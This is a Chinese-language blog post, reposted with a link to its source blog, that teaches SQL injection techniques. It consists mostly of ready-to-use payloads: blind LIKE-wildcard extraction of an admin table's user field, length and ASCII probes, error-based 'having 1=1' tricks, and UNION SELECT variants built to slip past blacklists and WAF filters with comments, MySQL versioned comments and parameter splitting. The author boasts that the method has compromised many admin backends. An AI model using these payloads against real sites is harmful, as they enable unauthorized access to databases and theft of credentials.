基於sqlinjection,介紹一些注射技巧


寫本文的目的在於記錄而且交流,歡迎各類大牛批評指正

傳統的檢測注射方法是經過:
and 1=1 , and 1=2 來判斷真假從而判斷是否過濾徹底,固然,也有 or 1=2,or 1=1,或者 id=1+1 或id=2-1,等等
本文的目的不是評判誰的檢測方法實用,只是向你們推薦一些新的注射方式,可能早有人說起了
首先說判斷:
Null值相信你們不陌生吧,可這麼用: and 1 is null,and 1 is not null
或: and 2<=3
其實,不少人習慣性的用=號來判斷了,可是,如: >= ,<= ,is null,is not null,<>等等 均可用於判斷
而對於blind sqlinjection,通常的注射的方法是:
ascii(substring(password,1,1))=56,或者是 ord(mid(password,1,1))=56 等等
而在sql中有個檢索函數like,,咱們能夠經過table.column來直接鎖定字段,這樣能夠直接拋棄select,from,where等關鍵字,避免過濾,看看'_'佔位符的演示:)
http://url/1.asp?string=wooden' and admin.user like '_' and '1'='1 false
http://url/1.asp?string=wooden' and admin.user like '__' and '1'='1 false
...
http://url/1.asp?string=wooden' and admin.user like '_____' and '1'='1 true
這樣能夠直接精確字段,5個佔位符=5個字段,而在like函數中咱們能夠經過 ‘-’符號來檢索數據範圍,例如:
http://url/1.asp?string=wooden' and admin.user like '[0-9]____' and '1'='1 false
http://url/1.asp?string=wooden' and admin.user like '[a-z]____' and '1'='1 true
http://url/1.asp?string=wooden' and admin.user like '[a-h]____' and '1'='1 true
http://url/1.asp?string=wooden' and admin.user like '[a-b]____' and '1'='1 true
http://url/1.asp?string=wooden' and admin.user like 'b____' and '1'='1 false
http://url/1.asp?string=wooden' and admin.user like 'a____' and '1'='1 true
所以,能夠肯定admin表中user字段的第一個是a,後面的原理相同,經過範圍取值來直接爆破數據
還記得sum函數吧?能夠直接套用來肯定數據類型
http://url/1.asp?string=wooden' and (sum(admin.user))=1 and '1'='1
固然,也能夠利用sql的一些內置函數:
http://url/1.asp?string=wooden' and len(admin.user)>4 and '1'='1
http://url/1.asp?string=wooden' and ascii(substring(admin.user,1,1))>100 and '1'='1
同時,在witth error模式中能夠直接經過' and (admin.user)=0 來獲取數據
可是此法有一雞肋,就是隻能針對當前查詢語句的表和字段,因此通常比較適合後臺登錄口的注射,配合上 having 1=1 (number) 或 d'having '1'='1 (string),曾幫我拿下很多後臺:)
而對於mysql 有一些新型的函數也可用,例如:
find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left('password',1), 0x56) = 1
再說說union,對於常規的注射,咱們能夠union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
對於iis 能夠經過%來繞過 例如:union selec%t 1,2,3,4-%--
對於mysql卻能夠:union select 1&id=2,3&id=4
ok 當過濾select時,union/**//*!select*/1,2,3,4或union/&&/s/**/elec/**/t/**/1,2,3,4
甚至還能夠union/**//*!5100select*/1&id=2,3&id=4 //5100爲mysql的版本號
同時當語句是多查詢且沒法註釋後面語句時:
例如 slect * from table where id = 1 and name = xxx ,咱們可這麼作:
id=1+union/*&name=*/select+1,2
在union注射中,必須讓結果爲flase,纔可執行union,好比:
and 1=2 union select xxxxxx
能夠這麼作:id=wooden'/*!5100and*/ 1 is null union /*!5100select*/ xxxxx 這樣既能夠饒過大部分黑名單機制

本文來源於獨自等待博客:http://www.waitalone.cn/ 原文地址:http://www.waitalone.cn/post/926.html 
相關文章
相關標籤/搜索